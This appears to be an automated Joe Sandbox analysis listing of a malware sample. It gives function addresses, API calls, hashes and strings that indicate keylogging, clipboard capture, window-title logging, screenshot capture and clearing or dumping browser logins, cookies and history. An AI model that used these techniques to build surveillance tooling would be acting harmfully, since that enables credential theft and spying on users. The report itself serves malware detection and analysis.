_strrchr.LIBCMT ref: 1606A08F
__alldvrm.LIBCMT ref: 1606A290
__alldvrm.LIBCMT ref: 1606A2B2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
Instruction ID: 7b238158644c0b4e4752bdeab26fec56f8c7ad03757250094eb5e8e032800bc9
Opcode Fuzzy Hash: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
Instruction Fuzzy Hash: 0DA13236E403869FE711DF5BC881BAEBFE1EF16350F1441AADD859B281C23A99C9C750

Uniqueness

Uniqueness Score: -1.00%

Function 16076C1A Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 16076D49

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 93da42bb2d381d390feeb3d290e4851860179d92a67866b4305b1378a678c68a
Instruction ID: c87c7ea73e0ecc951dc87572a188fc1e05f19712e2277a51a3a9130b1bd79e2d
Opcode Fuzzy Hash: 93da42bb2d381d390feeb3d290e4851860179d92a67866b4305b1378a678c68a
Instruction Fuzzy Hash: D5412835E301256ADF11DBBA8C44AAE3FBAEF05330F204615F86AD6190DA749C4CC6AD

Uniqueness

Uniqueness Score: -1.00%

Function 16062801 Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 226cb5407ed60f93a9c184d0f9bfbbdec5a5897e5f4d4fe4fb9e001d78ee7b2c
Instruction ID: 947c934bdeb267c28e99b00f128ee5e42a4f175090059fb04a26c74599bf36bf
Opcode Fuzzy Hash: 226cb5407ed60f93a9c184d0f9bfbbdec5a5897e5f4d4fe4fb9e001d78ee7b2c
Instruction Fuzzy Hash: F141E676A40744AFE314DF79CC40B9ABFE9EF84710F20852AE045DB6A0D7B1E949CB94

Uniqueness

Uniqueness Score: -1.00%

Function 16024CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,16094F50), ref: 16024DB3
CreateThread.KERNEL32(00000000,00000000,?,16094EF8,00000000,00000000), ref: 16024DC7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 16024DD2
CloseHandle.KERNEL32(00000000,?,00000000), ref: 16024DDB

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 8f75d76e33563292a70c0d22b02b692a9d35b019081837ee64b33be1719da000
Instruction ID: d73db74b4d6f393d26bf4d189f64586fb98e853d9c52f518fb30c4f550035768
Opcode Fuzzy Hash: 8f75d76e33563292a70c0d22b02b692a9d35b019081837ee64b33be1719da000
Instruction Fuzzy Hash: 4D41B379649301AFDB14EB60CC54DAFBFEEAF94711F80091DF99292190DF20A90DC662

Uniqueness

Uniqueness Score: -1.00%

Function 03F6E1A4 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 03F6E253
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 03F6E26F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 03F6E2E6
VariantClear.OLEAUT32(?), ref: 03F6E30F

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 6c79d18179a596d6657f07af6588e62a3d39fc9e562e90ce82be653734b36a39
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 12411C7AE0031D9FCB61DB58CD90BC9B7BDAF59600F0441E5E649EB211DA30AF818F50

Uniqueness

Uniqueness Score: -1.00%

Function 1602C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 1602C021
Sleep.KERNEL32(00001388), ref: 1602C0A9

Strings

[Cleared browsers logins and cookies.], xrefs: 1602C0E4
Cleared browsers logins and cookies., xrefs: 1602C0F5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
API String ID: 3472027048-1236744412
Opcode ID: aa20bead78b150798c272caa33f1c70c7ee8192707ef2677ee80bba431826d09
Instruction ID: 790eabd839ff42863a3ca1e829bea6da710e783860c9ae609518e31d7cbb5f8d
Opcode Fuzzy Hash: aa20bead78b150798c272caa33f1c70c7ee8192707ef2677ee80bba431826d09
Instruction Fuzzy Hash: E331AF48A283C16ED606DBF44CA17EA7FD70FA3554FC4849CA9D91B283CA12544CD363

Uniqueness

Uniqueness Score: -1.00%

Function 03F6ACF8 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03F6AD15
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03F6AD39
GetModuleFileNameA.KERNEL32(03F60000,?,00000105), ref: 03F6AD54
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 03F6ADEA

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: fa0d35ae44952eb2e73536848965668f5e4e688ba0afe607213508b093e5a2f6
Instruction ID: a29227468670347fcb060c8ebfb6d6bf8a4a14b04717b3e35657090bdbded864
Opcode Fuzzy Hash: fa0d35ae44952eb2e73536848965668f5e4e688ba0afe607213508b093e5a2f6
Instruction Fuzzy Hash: CA4129B5A403589BDB21EB68CD84BDEB7FCAB19340F4440E9E548EB251DB749F848F50

Uniqueness

Uniqueness Score: -1.00%

Function 03F6ACF6 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03F6AD15
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03F6AD39
GetModuleFileNameA.KERNEL32(03F60000,?,00000105), ref: 03F6AD54
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 03F6ADEA

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: d86daeb1b8a5184a4e15d0fe3a0e0f1f8392d4cdb044665033fc93cae90c9f92
Instruction ID: 6a8a0234729a01d3ef62d5708a2a9ba16264bffb699e9f378b7158b3bb9e2026
Opcode Fuzzy Hash: d86daeb1b8a5184a4e15d0fe3a0e0f1f8392d4cdb044665033fc93cae90c9f92
Instruction Fuzzy Hash: 4E4149B5A4035C9BDB21EB68CD84BDEB7FCAB19340F4440E9A548EB251DB749F848F50

Uniqueness

Uniqueness Score: -1.00%

Function 160394C4 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

EnumDisplayMonitors.USER32(00000000,00000000,160395CF,00000000), ref: 160394F5
EnumDisplayDevicesW.USER32(?), ref: 16039525
EnumDisplayDevicesW.USER32(?,?,?,00000000), ref: 1603959A
EnumDisplayDevicesW.USER32(00000000,00000000,?,00000000), ref: 160395B7

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DisplayEnum$Devices$Monitors
String ID:
API String ID: 1432082543-0
Opcode ID: 0366d2187ff339d7f5f53939d51c05b2b08cb28ae670c9f1304acbaeb48d4782
Instruction ID: 7ecd33346cb4c0e80f737cd4bdd3802aae5d90d5c7dfcf31e0640c54eb531610
Opcode Fuzzy Hash: 0366d2187ff339d7f5f53939d51c05b2b08cb28ae670c9f1304acbaeb48d4782
Instruction Fuzzy Hash: 40219F761083406BD224DB15DC88E9BBFEDEFD1652F41052EF959C3150EB70AA08CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 1602A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1603C551: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1603C561
Part of subcall function 1603C551: GetWindowTextLengthW.USER32(00000000), ref: 1603C56A
Part of subcall function 1603C551: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 1603C594

Sleep.KERNEL32(000001F4), ref: 1602A573
Sleep.KERNEL32(00000064), ref: 1602A5FD

Strings

], xrefs: 1602A57B
[ , xrefs: 1602A58F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Window$SleepText$ForegroundLength
String ID: [ $ ]
API String ID: 3309952895-93608704
Opcode ID: b096f3219c2a0f855d3f4a51e35aa3018983e9a81338acca74853da25f7add4f
Instruction ID: 74abd49d6fd9f3219ff61c2bd6fdf5b0b0f93abb0c19908e5c25cb7679f2cbb1
Opcode Fuzzy Hash: b096f3219c2a0f855d3f4a51e35aa3018983e9a81338acca74853da25f7add4f
Instruction Fuzzy Hash: 9E1190399142105BC608FB74CC5199FBFBAAF51201FC1055DE9A6560A1FF21BA9CC7D2

Uniqueness

Uniqueness Score: -1.00%

Function 16063A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc5fd856e8674fbba084170e779510eda312bb6819bfe8aefb9ec58d6905763c
Instruction ID: e1b0a38aff7db7d07b605e181ce37ba8070ac60de1d824e538f3aecd8e17819c
Opcode Fuzzy Hash: bc5fd856e8674fbba084170e779510eda312bb6819bfe8aefb9ec58d6905763c
Instruction Fuzzy Hash: FF01A7B3A192167EFA148A7A6CC0F572B8EDF417B8F211329F534611C4DA609C48D5E0

Uniqueness

Uniqueness Score: -1.00%

Function 16063AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99ded5a8c7cddb29603d355f15b03de6b4a13ee2f30a49c870ce0c306bed9f5
Instruction ID: 2733f9e66d45b4c0bbef30d2c7677dcb658353a29a563c35ddd9fb8385e7fc45
Opcode Fuzzy Hash: c99ded5a8c7cddb29603d355f15b03de6b4a13ee2f30a49c870ce0c306bed9f5
Instruction Fuzzy Hash: EC01FEB26095167EE705857E5CC4D276B8FEF513797213325F634511C4DB708D08C1E0

Uniqueness

Uniqueness Score: -1.00%

Function 1602A675 Relevance: 6.1, APIs: 4, Instructions: 58sleepfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,1602A74D), ref: 1602A6AB
GetFileSize.KERNEL32(00000000,00000000,?,?,?,1602A74D), ref: 1602A6BA
Sleep.KERNEL32(00002710,?,?,?,1602A74D), ref: 1602A6E7
CloseHandle.KERNEL32(00000000,?,?,?,1602A74D), ref: 1602A6EE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSizeSleep
String ID:
API String ID: 1958988193-0
Opcode ID: 64539257d4baa7ca37100ba2da953d72e45f72b9764f22075260b3a66bd1b97c
Instruction ID: 2c73b76e1154f51c15c135a668295458474cb1d880bbcc4da0cb2e684b17376f
Opcode Fuzzy Hash: 64539257d4baa7ca37100ba2da953d72e45f72b9764f22075260b3a66bd1b97c
Instruction Fuzzy Hash: 5A112C34A40750AEE62ADB2988D8A1E7FEBBF56251FC0040CFB8646585CF6168CCC755

Uniqueness

Uniqueness Score: -1.00%

Function 16068566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,1606850D,?,00000000,00000000,00000000,?,16068839,00000006,FlsSetValue), ref: 16068598
GetLastError.KERNEL32(?,1606850D,?,00000000,00000000,00000000,?,16068839,00000006,FlsSetValue,1607F160,1607F168,00000000,00000364,?,160682E7), ref: 160685A4
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,1606850D,?,00000000,00000000,00000000,?,16068839,00000006,FlsSetValue,1607F160,1607F168,00000000), ref: 160685B2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 01df80ae694453bc541eb7506acaf109076c4b706896daee842fcf059a7a5955
Instruction ID: 575009badb53e2d131b4ad0cff86254cfa97c81f4fa74a89231deca83c946c03
Opcode Fuzzy Hash: 01df80ae694453bc541eb7506acaf109076c4b706896daee842fcf059a7a5955
Instruction Fuzzy Hash: 2B01FC726162339BD715DB7A8C849477F99BF14761B120624FE46E3140DB20DE05CAF4

Uniqueness

Uniqueness Score: -1.00%

Function 1603C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,1602412F,16085E74), ref: 1603C49E
GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,1602412F,16085E74), ref: 1603C4B2
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,1602412F,16085E74), ref: 1603C4D7
CloseHandle.KERNEL32(00000000,?,00000000,1602412F,16085E74), ref: 1603C4E5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: d63fa45bc4ee9f72b8387d2b667a1127524c8684db3cb659b18c09a934ca8a93
Instruction ID: 8a72e9128a7eb8d9f0ade25e56bc951a11ac90dc806e0d2c31bbfdf38995c759
Opcode Fuzzy Hash: d63fa45bc4ee9f72b8387d2b667a1127524c8684db3cb659b18c09a934ca8a93
Instruction Fuzzy Hash: 0DF096B52412187FF6149B25ACC4FBF3BAEEB866A6F01022DFA41F21C0CA254D09D171

Uniqueness

Uniqueness Score: -1.00%

Function 16059863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 1605987A

Part of subcall function 16059EB2: ___AdjustPointer.LIBCMT ref: 16059EFC

_UnwindNestedFrames.LIBCMT ref: 16059891
___FrameUnwindToState.LIBVCRUNTIME ref: 160598A3
CallCatchBlock.LIBVCRUNTIME ref: 160598C7

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction ID: 9127dcb67c7373f6e35e1ecc8ccd50c0c62d9da15b124aa5b080108a3e39f320
Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction Fuzzy Hash: 2B01D732400289EBCF029F55CD00EEA3FBAFF8A754F068515FD5865120D376E4A5DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 160393E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004C), ref: 160393F0
GetSystemMetrics.USER32(0000004D), ref: 160393F6
GetSystemMetrics.USER32(0000004E), ref: 160393FC
GetSystemMetrics.USER32(0000004F), ref: 16039402

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 1cfd0f5f564230ac9d4bd4ce23c1bd633bb33a189b3097b3d3590e0230a20d25
Instruction ID: 427ae35a29b92cdab440b1e6e978d916381ec9db3e99db8af6742a34c90952f4
Opcode Fuzzy Hash: 1cfd0f5f564230ac9d4bd4ce23c1bd633bb33a189b3097b3d3590e0230a20d25
Instruction Fuzzy Hash: 4CF0AFB1B003154FD344EA768C44E1F6FD6AFC8162F10083EE2198B280FEB5DC098B81

Uniqueness

Uniqueness Score: -1.00%

Function 16058F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 16058F31
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 16058F36
___vcrt_initialize_locks.LIBVCRUNTIME ref: 16058F3B

Part of subcall function 1605A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 1605A44B

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 16058F50

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction ID: c32eec1bd8ed7ca04fb69f1714aeae1c5db9ca1a5279559abc1962a09fec8457
Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction Fuzzy Hash: 27C04C1C8903E2546D40E6F0294428E1F871DA6288BC354D69C90570129E0622CFD676

Uniqueness

Uniqueness Score: -1.00%

Function 1602404C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93sleepCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 16024066

Part of subcall function 1603B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,1602407C), ref: 1603B99F

Part of subcall function 16038568: CloseHandle.KERNEL32(160240F5,?,?,160240F5,16085E74), ref: 1603857E
Part of subcall function 16038568: CloseHandle.KERNEL32(16085E74,?,?,160240F5,16085E74), ref: 16038587

Part of subcall function 1603C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,1602412F,16085E74), ref: 1603C49E

Sleep.KERNEL32(000000FA,16085E74), ref: 16024138

Strings

/sort "Visit Time" /stext ", xrefs: 160240B2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
String ID: /sort "Visit Time" /stext "
API String ID: 368326130-1573945896
Opcode ID: 44072ecf69a5dfb685455f7f4e8b8d70c0ae4e0cedecc67eaa3acfb2c6c0d502
Instruction ID: a12e4f319986972df9edcecf99d500baa6f0d8b35e3f483f28382ffc58778906
Opcode Fuzzy Hash: 44072ecf69a5dfb685455f7f4e8b8d70c0ae4e0cedecc67eaa3acfb2c6c0d502
Instruction Fuzzy Hash: A53184399501185BCB18EBB4DC949EEBF7BAF94202F8100ADE51AA7195FF207D4DCB90

Uniqueness

Uniqueness Score: -1.00%

Function 16038A92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 16038ABE

Part of subcall function 16038656: GdipLoadImageFromStream.GDIPLUS(?,?,?,16038AD1,00000000,?,?,?,?,00000000), ref: 1603866A

SHCreateMemStream.SHLWAPI(00000000), ref: 16038B0B

Part of subcall function 160386CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,16038B27,00000000,?,?), ref: 160386DD

Part of subcall function 16038679: GdipDisposeImage.GDIPLUS(?,16038B82), ref: 16038682

Strings

image/jpeg, xrefs: 16038AD5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Stream$GdipImage$Create$DisposeFromLoadSave
String ID: image/jpeg
API String ID: 1291196975-3785015651
Opcode ID: 0d8344002c615fbb1598dba0c67a00a90f8df1c2f140d83ef15c65667a4477a5
Instruction ID: 5d49873bc576b5c94695e7d797ab4c4a22966d05cc0f4756c1749abcc7e38889
Opcode Fuzzy Hash: 0d8344002c615fbb1598dba0c67a00a90f8df1c2f140d83ef15c65667a4477a5
Instruction Fuzzy Hash: 99315A76518310AFC305DB64CC84D6FBBEAFF8A605F01095DF98697250DB75AA08CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1602B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 16054770: __onexit.LIBCMT ref: 16054776

__Init_thread_footer.LIBCMT ref: 1602B797

Strings

[Text copied to clipboard], xrefs: 1602B7E6
[End of clipboard], xrefs: 1602B7D9

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: [End of clipboard]$[Text copied to clipboard]
API String ID: 1881088180-3686566968
Opcode ID: 6ae80bc768c13407965010df726ddf66c5a4fc0bc147dae96c0e866f6119d20c
